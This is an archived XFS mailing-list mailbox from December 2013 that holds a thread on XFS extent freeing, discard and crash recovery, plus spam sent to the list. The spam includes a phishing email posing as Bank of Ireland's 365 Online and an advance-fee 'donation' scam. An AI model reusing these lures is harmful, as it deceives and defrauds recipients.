b=XfTZO6S3+dTNhh8GT0EVq5eTQm0LynyqX2V+r9D0vck6x8CtfvlbgIbSzqnZkO3els gPQpawmLYoDZIcAzPP58zcLeT7fMH1LZRD34Dq3JhpQRKmscncwlTiMaP22f7AvRtQcW VZJohvmETu0Ob7d2yd4bsuiAm6/wk0NDisG19w0+M1AoP6Wn+g0nP5AMXWIJjxwFYciD /zEXtdFNX2CepnMAqWGlOE6bRBa3Yiw+YZ6rrN/DfSB3YG45r0XK0CijO3ESHNILAPTR 0FnK5Gmc/dhAaei0gNF4FXmGDrcHpegIMQmtAfw0E4AglUtYw4eWaukHNznApoWYkh1/ fLDA== X-Gm-Message-State: ALoCoQlNnPNnBrpczvZESwPx+V5Q8SLI7gqHL3gvMP72DfCCNcmj6GVzo4F83htHlgKSvo5bBByA X-Received: by 10.14.107.3 with SMTP id n3mr517854eeg.67.1387445050343; Thu, 19 Dec 2013 01:24:10 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id e3sm7654877eeg.11.2013.12.19.01.24.09 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Thu, 19 Dec 2013 01:24:09 -0800 (PST) Message-ID: <78FC295EC7FF48C987266DC48B183930@alyakaslap> From: "Alex Lyakas" To: "Dave Chinner" Cc: References: <20131218230615.GQ31386@dastard> In-Reply-To: <20131218230615.GQ31386@dastard> Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Date: Thu, 19 Dec 2013 11:24:15 +0200 X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-ee0-f45.google.com[74.125.83.45] X-Barracuda-Start-Time: 1387445051 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143219 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hi Dave, Thank you for your comments. I realize now that what I proposed cannot be done; I need to understand deeper how XFS transactions work (unfortunately, the awesome "XFS Filesystem Structure" doc has a TODO in the "Journaling Log" section). Can you please comment on one more question: Let's say we had such fully asynchronous "fire-and-forget" discard operation (I can implement one myself for my block-device via a custom IOCTL). What is wrong if we trigger such operation in xfs_free_ag_extent(), right after we have merged the freed extent into a bigger one? I understand that the extent-free-intent is not yet committed to the log at this point. But from the user's point of view, the extent has been deleted, no? So if the underlying block device discards the merged extent right away, before committing to the log, what issues this can cause? Thanks, Alex. -----Original Message----- From: Dave Chinner Sent: 19 December, 2013 1:06 AM To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) On Wed, Dec 18, 2013 at 08:37:29PM +0200, Alex Lyakas wrote: > Greetings XFS developers & community, > > I am studying the XFS code, primarily focusing now at the free-space > allocation and deallocation parts. > > I learned that freeing an extent happens like this: > - xfs_free_extent() calls xfs_free_ag_extent(), which attempts to merge > the > freed extents from left and from right in the by-bno btree. Then the > by-size > btree is updated accordingly. > - xfs_free_extent marks the original (un-merged) extent as "busy" by > xfs_extent_busy_insert(). This prevents this original extent from being > allocated. (Except that for metadata allocations such extent or part of it > can be "unbusied", while it is still not marked for discard with > XFS_EXTENT_BUSY_DISCARDED). > - Once the appropriate part of the log is committed, xlog_cil_committed > calls xfs_discard_extents. This discards the extents using the synchronous > blkdev_issue_discard() API, and only them "unbusies" the extents. This > makes > sense, because we cannot allow allocating these extents until discarding > completed. > > WRT to this flow, I have some questions: > > - xfs_free_extent first inserts the extent into the free-space btrees, and > only then marks it as busy. How come there is no race window here? Because the AGF is locked exclusively at this point, meaning only one process can be modifying the free space tree at this point in time. > Can > somebody allocate the freed extent before it is marked as busy? Or the > free-space btrees somehow are locked at this point? The code says > "validate > the extent size is legal now we have the agf locked". I more or less see > that xfs_alloc_fix_freelist() locks *something*, but I don't see > xfs_free_extent() unlocking anything. The AGF remains locked until the transaction is committed. The transaction commit code unlocks items modified in the transaction via the ->iop_unlock log item callback.... > - If xfs_extent_busy_insert() fails to alloc a xfs_extent_busy structure, > such extent cannot be discarded, correct? Correct. > - xfs_discard_extents() doesn't check the discard granularity of the > underlying block device, like xfs_ioc_trim() does. So it may send a small > discard request, which cannot be handled. Discard is a "advisory" operation - it is never guaranteed to do anything. > If it would have checked the > granularity, it could have avoided sending small requests. But the thing > is > that the busy extent might have been merged in the free-space btree into a > larger extent, which is now suitable for discard. Sure, but the busy extent tree tracks extents across multiple transaction contexts, and we cannot merge extents that are in different contexts. > I want to attempt the following logic in xfs_discard_extents(): > # search the "by-bno" free-space btree for a larger extent that fully > encapsulates the busy extent (which we want to discard) > # if found, check whether some other part of the larger extent is still > busy > (except for the current busy extent we want to discard) > # if no, send discard for the larger extent > Does this make send? And I think that we need to hold the larger > extent locked somehow until the > discard completes, to prevent allocation from the discarded range. You can't search the freespace btrees in log IO completion context - that will cause deadlocks because we can be holding the locks searching the freespace trees when we issue a log force and block waiting for log IO completion to occur. e.g. in xfs_extent_busy_reuse().... Also, walking the free space btrees can be an IO bound operation, overhead/latency we absolutely do not want to add to log IO completion. Further, walking the free space btrees can be a memory intensive operation (buffers are demand paged from disk) and log IO completion may be necessary for memory reclaim to make progress in low memory situations. So adding unbound memory demand to log IO completion will cause low memory deadlocks, too. IOWs, adding freespace tree processing to xfs_discard_extents() just won't work. What we really need is a smarter block layer implementation of the discard operation - it needs to be asynchronous, and it needs to support merging of adjacent discard requests. Now that SATA 3.1 devices are appearing on the market, queued trim operations are now possible. Dispatching discard oeprations as synchronous operations prevents us from taking advantage of these operations. Further, because it's synchronous, the block layer can't merge adjacent discards, not batch multiple discard ranges up into a single TRIM command. IOWs, what we really need is for the block layer discard code to be brought up to the capabilities of the hardware on the market first. Then we will be in a position to be able to optimise the XFS code to use async dispatch and new IO completion handlers to finish the log IO completion processing, and at that point we shouldn't need to care anymore. Note that XFS already dispatches discards in ascending block order, so if we issue adjacent discards the block layer will be able to merge them appropriately. Hence we don't need to add that complexity to XFS.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Dec 19 04:55:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5D9207F3F for ; Thu, 19 Dec 2013 04:55:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3CA7C304075 for ; Thu, 19 Dec 2013 02:55:19 -0800 (PST) X-ASG-Debug-ID: 1387450517-04cbb04167831eb0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id hye3D8APnzTGVsSj for ; Thu, 19 Dec 2013 02:55:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmIHAODPslJ5LHyk/2dsb2JhbABZgwu0WoVdgRMXdIIlAQEBBDocIxAIAxgJJQ8FJQMhE4YdgWbKNxcWjjNJB4Q2BJgVikyHSYM/KIEsAR8 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Dec 2013 21:25:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VtbG5-0003zB-3Z; Thu, 19 Dec 2013 21:55:13 +1100 Date: Thu, 19 Dec 2013 21:55:13 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20131219105513.GZ31386@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <78FC295EC7FF48C987266DC48B183930@alyakaslap> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1387450517 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143220 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 19, 2013 at 11:24:15AM +0200, Alex Lyakas wrote: > Hi Dave, > Thank you for your comments. > I realize now that what I proposed cannot be done; I need to > understand deeper how XFS transactions work (unfortunately, the > awesome "XFS Filesystem Structure" doc has a TODO in the "Journaling > Log" section). > > Can you please comment on one more question: > Let's say we had such fully asynchronous "fire-and-forget" discard > operation (I can implement one myself for my block-device via a > custom IOCTL). What is wrong if we trigger such operation in > xfs_free_ag_extent(), right after we have merged the freed extent > into a bigger one? I understand that the extent-free-intent is not > yet committed to the log at this point. But from the user's point of > view, the extent has been deleted, no? So if the underlying block > device discards the merged extent right away, before committing to > the log, what issues this can cause? Think of what happens when a crash occurs immediately after the discard completes. The freeing of the extent never made it to th elog, so after recovery, the file still exists and the user can access it. Except that it's contents are now all different to before the crash occurred. IOWs, issuing the discard before the transaction that frees the extent is on stable storage means we are discarding user data or metadata before we've guaranteed that the extent free transaction is permanent and that means we violate certain guarantees with respect to crash recovery... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bounce@bbsbusiness.com Thu Dec 19 05:09:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.4 required=5.0 tests=HTML_IMAGE_ONLY_32, HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D6A4F7F3F for ; Thu, 19 Dec 2013 05:09:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BA9CD304075 for ; Thu, 19 Dec 2013 03:09:41 -0800 (PST) X-ASG-Debug-ID: 1387451378-04cb6c537e836d50001-NocioJ Received: from www.portalaican.com (mail1.planinnova.com [188.94.13.44]) by cuda.sgi.com with ESMTP id G9r6vJoXEOAPBZBc for ; Thu, 19 Dec 2013 03:09:39 -0800 (PST) X-Barracuda-Envelope-From: bounce@bbsbusiness.com X-Barracuda-Apparent-Source-IP: 188.94.13.44 Received: from www.portalaican.com ([127.0.0.1]) by www.portalaican.com with Microsoft SMTPSVC(7.0.6002.18264); Thu, 19 Dec 2013 12:09:24 +0100 To: xfs@oss.sgi.com Subject: =?UTF-8?B?Q29uc3VsdG9yIGRlIEVtcHJlc2FzIHwgUHJvZ3JhbWEgZGUgQ2VydGlmaWNhY2nDs24gT2ZpY2lhbCBwb3IgbGEgTm9ybWEgUmVmZXJlbmNpYWwgSW50ZXJuYWNpb25hbCBTR0UgOTAw?= Message-ID: <31428adaf8751190cc245db4624cd421@www.portalaican.com> X-ASG-Orig-Subj: =?UTF-8?B?Q29uc3VsdG9yIGRlIEVtcHJlc2FzIHwgUHJvZ3JhbWEgZGUgQ2VydGlmaWNhY2nDs24gT2ZpY2lhbCBwb3IgbGEgTm9ybWEgUmVmZXJlbmNpYWwgSW50ZXJuYWNpb25hbCBTR0UgOTAw?= Date: Thu, 19 Dec 2013 12:02:19 +0100 From: "Plan Innova" Reply-To: informacion@planinnova.com MIME-Version: 1.0 X-Mailer-LID: 204,203,205,206,207,208 List-Unsubscribe: X-Mailer-RecptId: 10536864 X-Mailer-SID: 268 x-job: www_portalaican_com-7191 X-Mailer-Sent-By: 3 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_943c067c20dc41d1a808c0c0ed4c3be0" Content-Transfer-Encoding: 8bit X-OriginalArrivalTime: 19 Dec 2013 11:09:24.0619 (UTC) FILETIME=[C68E7DB0:01CEFCAA] X-Barracuda-Connect: mail1.planinnova.com[188.94.13.44] X-Barracuda-Start-Time: 1387451379 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.35 X-Barracuda-Spam-Status: No, SCORE=1.35 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA424, HTML_IMAGE_ONLY_32, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143220 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.80 BSF_SC0_SA424 Custom Rule SA424 --b1_943c067c20dc41d1a808c0c0ed4c3be0 Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Esta información contiene imágenes, si no puedes verlas pulsa aquí [http://www.portalaican.com/mmd/display.php?M=10536864&C=0af5ff756ba85775b52d6afecb176b1b&S=268&L=207&N=167] Quiero información para participar en el Programa [http://www.portalaican.com/mmd/link.php?M=10536864&N=268&L=438&F=T] Telefono: 902 11 45 07 - Email: info@planinnova.com Plan Innova es un Clúster de Innovación promovido por Best Business Service. De conformidad con lo dispuesto en la Ley Orgánica 15/1999, de Protección de Datos Personales, le informamos que su dirección de email forma parte de un fichero informático propiedad de Best Business Service, cuya finalidad es servir como soporte de información a la gestión fiscal, administrativa, comercial y contable, as&í; como para acciones de divulgación, información y promoción; pudiendo ejercer en cualquier momento sus derechos de acceso, rectificación, oposición y cancelación dirigiéndose por vía e-mail a info@bbsbusiness.com, manifestando su voluntad al respecto. Si no desea recibir más este boletín de noticias pulse aquí [http://www.portalaican.com/mmd/unsubscribe.php?M=10536864&C=0af5ff756ba85775b52d6afecb176b1b&L=207&N=268] --b1_943c067c20dc41d1a808c0c0ed4c3be0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit
     
    Esta información contiene imágenes, si no puedes verlas pulsa aquí
     
    Más información
     

    Telefono: 902 11 45 07  - Email: info@planinnova.com

    Plan Innova es un Clúster de Innovación promovido por Best Business Service. De conformidad con lo dispuesto en la Ley Orgánica 15/1999, de Protección de Datos Personales, le informamos que su dirección de email forma parte de un fichero informático propiedad de Best Business Service, cuya finalidad es servir como soporte de información a la gestión fiscal, administrativa, comercial y contable, así como para acciones de divulgación, información y promoción; pudiendo ejercer en cualquier momento sus derechos de acceso, rectificación, oposición y cancelación dirigiéndose por vía e-mail a info@bbsbusiness.com, manifestando su voluntad al respecto.
     Si no desea recibir más este boletín de noticias pulse aquí

    --b1_943c067c20dc41d1a808c0c0ed4c3be0-- From secure@admin.ie Thu Dec 19 05:36:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.2 required=5.0 tests=HTML_IMAGE_ONLY_16, HTML_MESSAGE,MIME_HTML_ONLY,MIME_QP_LONG_LINE,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 368127F3F for ; Thu, 19 Dec 2013 05:36:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 165C0304077 for ; Thu, 19 Dec 2013 03:36:01 -0800 (PST) X-ASG-Debug-ID: 1387452959-04cbb04168833020001-NocioJ Received: from mail.pvpc.org (mail.pvpc.org [66.152.242.250]) by cuda.sgi.com with ESMTP id H4noUAkVCqoqLkMa for ; Thu, 19 Dec 2013 03:35:59 -0800 (PST) X-Barracuda-Envelope-From: secure@admin.ie X-Barracuda-Apparent-Source-IP: 66.152.242.250 Received: from admin.ie ([78.93.220.77]) by mail.pvpc.org with Microsoft SMTPSVC(6.0.3790.4675); Thu, 19 Dec 2013 06:31:39 -0500 From: 365 Online To: xfs@oss.sgi.com Subject: My Inbox (1 new) Date: 19 Dec 2013 14:39:07 +0300 X-ASG-Orig-Subj: My Inbox (1 new) Message-ID: <20131219143907.D922AEB475C18B58@admin.ie> MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-OriginalArrivalTime: 19 Dec 2013 11:31:39.0826 (UTC) FILETIME=[E266E920:01CEFCAD] X-Barracuda-Connect: mail.pvpc.org[66.152.242.250] X-Barracuda-Start-Time: 1387452959 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.45 X-Barracuda-Spam-Status: No, SCORE=1.45 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_16, HTML_MESSAGE, MIME_HTML_ONLY, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143221 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars
    =09


    An attempt to access 365 Online Banking was denied on:

    Wednesday, 19 December 2013 at 10:42:19 EDT

    Access was denied for one of two reasons:
    • Incorrect attempts to access and Login failures.
    • Signing on from a different location or device different from your l= ocation and your IP address.
    If you remember trying to access 365 Online Banking on the above date and= time, please select "That was me."
    If you do not remember trying to access 365 Online Banking on the above d= ate and time, please select "That was NOT me."
    You will then be prompted to safeguards your account.

    Thank You. Accounts Management As outlined in our User Agreeement, will
    periodically send you information about site changes and enhancements.<= br>
    Copyright © 2013 Bank of Ireland.
    From cartridge@pcc-consumable.com Thu Dec 19 06:21:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DEAR_FRIEND,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EBB8D7F3F for ; Thu, 19 Dec 2013 06:21:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B9AC78F8064 for ; Thu, 19 Dec 2013 04:21:29 -0800 (PST) X-ASG-Debug-ID: 1387455686-04bdf00fe21156f0001-NocioJ Received: from smtpbg64.qq.com (smtpbg64.qq.com [103.7.28.238]) by cuda.sgi.com with SMTP id rOlYcgJHWjxBlxz7 for ; Thu, 19 Dec 2013 04:21:27 -0800 (PST) X-Barracuda-Envelope-From: cartridge@pcc-consumable.com X-Barracuda-Apparent-Source-IP: 103.7.28.238 X-QQ-mid: bizesmtp1t1387455685t023t056 Received: from PC-20130610DSDO (unknown [121.204.60.118]) by esmtp4.qq.com (ESMTP) with SMTP id 0 for ; Thu, 19 Dec 2013 20:21:24 +0800 (CST) X-QQ-SSF: 01200000004000105I12000A0000000 X-QQ-GoodBg: 0 Subject: Re: new toner chips samsung mlt-d115/116/203/204, Xerox P255DW/M255Z, epson m200 etc Content-Type: multipart/alternative; charset=UTF-8; boundary="7tLvRTIRfA=_1DwO5Y7vqAGTY9bPZCwBhE" X-ASG-Orig-Subj: Re: new toner chips samsung mlt-d115/116/203/204, Xerox P255DW/M255Z, epson m200 etc MIME-Version: 1.0 Date: Thu, 19 Dec 2013 20:21:22 +0800 From: "pcc-consumable" To: xfs@oss.sgi.com Reply-To: "pcc-consumable" X-QQ-SENDSIZE: 520 X-Barracuda-Connect: smtpbg64.qq.com[103.7.28.238] X-Barracuda-Start-Time: 1387455686 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.14 X-Barracuda-Spam-Status: No, SCORE=1.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DEAR_FRIEND, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143222 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 HTML_MESSAGE BODY: HTML included in message Message-Id: <20131219122129.36770A42176@cuda.sgi.com> This is a multi-part message in MIME format --7tLvRTIRfA=_1DwO5Y7vqAGTY9bPZCwBhE Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline Dear Friend, =20 Nice day to you. =20 Here is PCC, a toner chip supplier in China. Our chips quality is ve= ry good and work stable. Also=20 our guarantee is 1:1 replace if there is any defective. And we have ne= w toner chips as follows: =20 Chips Samsung MLT-D115L-----------3K=20 Chips Samsung MLT-D116S---------1.2k Chips Samsung MLT-D203S-----3K=20 Chips Samsung MLT-D203L-----5K=20 Chips Samsung MLT-D203E----10K=20 Chips Samsung MLT-D204S----3K=20 Chips Samsung MLT-D204L----5K Chips Samsung MLT-D204E---10K Chips OKI ES7411 Chips OKI MC851/MC861=20 Chips OKI C9655 Chips Canon 2020 toner chip Chips Canon 2880 toner chip Chips epson m200 Chips Xerox P255DW/M255Z etc...... We export toner chip for Samsung, HP, Xerox, Konica minolta, Dell, Eps= on, Oki, Sharp, Canon, Kyocera,=20 Utax, Toshiba, Ricoh etc. If any news or question, please let me know = and talk more. best regards ------ Linda pcc-online(dom)com(dom)cn MSN:printer_chips@hotmail.com Skype: toner_linda ICQ: 697-871-867 --7tLvRTIRfA=_1DwO5Y7vqAGTY9bPZCwBhE Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline new chip-2

    Dear Friend,

     

    Nice day to you.

     

    Here is PCC, a toner chip supplier  in China.  Our c= hips=20 quality is very good and work stable. Also 

    our guarantee is 1:1 replace if there is any defective. And we have= new toner=20 chips as follows:

     

    Chips Samsung MLT-D115L-----------3K
    Chips Samsung=20 MLT-D116S---------1.2k
    Chips Samsung MLT-D203S-----3K
    Chips Sam= sung=20 MLT-D203L-----5K
    Chips Samsung MLT-D203E----10K
    Chips Samsung=20= MLT-D204S----3K
    Chips Samsung MLT-D204L----5K
    Chips Samsung=20 MLT-D204E---10K

    Chips OKI ES7411
    Chips OKI MC851/MC861
    Chips OKI C9655

    Chips Canon 2020 toner chip
    Chips Canon 2880 toner chip
    Chips= epson=20 m200
    Chips Xerox P255DW/M255Z   etc......

    We export toner chip for Samsung, HP, Xerox, Konica minolta, Dell, = Epson,=20 Oki, Sharp, Canon, Kyocera,

    Utax, Toshiba, Ricoh etc. If any news or question, please let me kn= ow and=20 talk more.

    best regards

    ------

    Linda

    pcc-online(dom)com(dom)cn

    MSN:printer_chips@hotmail.com

    Skype: toner_linda<= /FONT>

    ICQ:=20 697-871-867

    --7tLvRTIRfA=_1DwO5Y7vqAGTY9bPZCwBhE-- From Paul.VU@lmu.edu Thu Dec 19 06:36:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BF26B7F3F for ; Thu, 19 Dec 2013 06:36:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7229DAC002 for ; Thu, 19 Dec 2013 04:36:33 -0800 (PST) X-ASG-Debug-ID: 1387456591-04bdf00fe2116710001-NocioJ Received: from aries2.lmu.edu (aries2.lmu.edu [157.242.235.31]) by cuda.sgi.com with SMTP id af82SsAA5FIYinw8 for ; Thu, 19 Dec 2013 04:36:31 -0800 (PST) X-Barracuda-Envelope-From: Paul.VU@lmu.edu X-Barracuda-Apparent-Source-IP: 157.242.235.31 Received: from nona.lmumain.edu ([10.0.102.165]) by aries2.lmu.edu with Microsoft SMTPSVC(6.0.3790.4675); Thu, 19 Dec 2013 04:36:31 -0800 Received: from BRAHMS.lmumain.edu (10.0.103.160) by nona.lmumain.edu (10.0.102.165) with Microsoft SMTP Server (TLS) id 8.2.176.0; Thu, 19 Dec 2013 04:36:30 -0800 Received: from UHMAIL4.lmumain.edu ([fe80::7de3:dd76:46f1:7bfb]) by brahms.lmumain.edu ([::1]) with mapi id 14.03.0146.000; Thu, 19 Dec 2013 04:36:30 -0800 From: "Vu, Paul" Subject: ATTN Thread-Topic: ATTN X-ASG-Orig-Subj: ATTN Thread-Index: Ac78tltHbhp7gFBYQlq1d7x03sBu1A== Date: Thu, 19 Dec 2013 12:36:29 +0000 Message-ID: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.0.102.11] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 To: Undisclosed recipients:; X-OriginalArrivalTime: 19 Dec 2013 12:36:31.0207 (UTC) FILETIME=[F1D88770:01CEFCB6] X-Barracuda-Connect: aries2.lmu.edu[157.242.235.31] X-Barracuda-Start-Time: 1387456591 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143222 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Donation for you from Mr Paul White, contact cawcula@siamza.com for more de= tails. From stan@hardwarefreak.com Thu Dec 19 08:11:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 20CA87F3F for ; Thu, 19 Dec 2013 08:11:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A2E98F8040 for ; Thu, 19 Dec 2013 06:11:35 -0800 (PST) X-ASG-Debug-ID: 1387462295-04cbb04169839920001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id c9vylNXOBFRzkxsL for ; Thu, 19 Dec 2013 06:11:35 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from 